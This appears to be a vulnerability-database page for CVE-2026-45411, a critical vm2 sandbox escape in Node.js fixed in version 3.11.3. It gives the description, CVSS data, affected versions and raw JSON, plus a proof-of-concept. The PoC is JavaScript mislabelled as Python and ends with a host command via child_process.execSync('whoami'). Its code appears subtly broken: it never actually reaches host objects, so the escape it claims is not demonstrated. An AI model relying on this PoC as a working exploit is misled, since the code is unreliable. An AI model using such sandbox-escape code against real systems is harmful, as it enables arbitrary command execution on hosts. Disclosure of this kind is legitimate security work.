Security Vulnerability Report
中文
CVE-2026-45411 CVSS 9.8 CRITICAL

CVE-2026-45411

Published: 2026-05-13 18:16:19
Last Modified: 2026-05-14 18:19:41

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE
vm2 < 3.11.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const {VM} = require('vm2'); const vm = new VM(); // Malicious code exploiting the yield* and return() behavior const untrustedCode = ` async function exploit() { // Create an iterator that throws an exception when next is called const maliciousIterator = { [Symbol.iterator]() { return this; }, next() { // This exception is intended to be caught by the host runtime throw new Error('Escaped!'); } }; // Async generator using yield* async function* gen() { yield* maliciousIterator; } const g = gen(); // Triggering the vulnerability by calling return() // This causes the runtime to await and catch the exception incorrectly try { await g.return(); } catch (e) { // If sandbox escape is successful, this block can access host resources // Example: Accessing process or executing commands process.mainModule.require('child_process').execSync('whoami'); } } exploit(); `; vm.run(untrustedCode);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45411", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:19.427", "lastModified": "2026-05-14T18:19:40.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.3", "matchCriteriaId": "0982ADA2-0F19-4E1B-AA4B-F13CA0885D1E"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}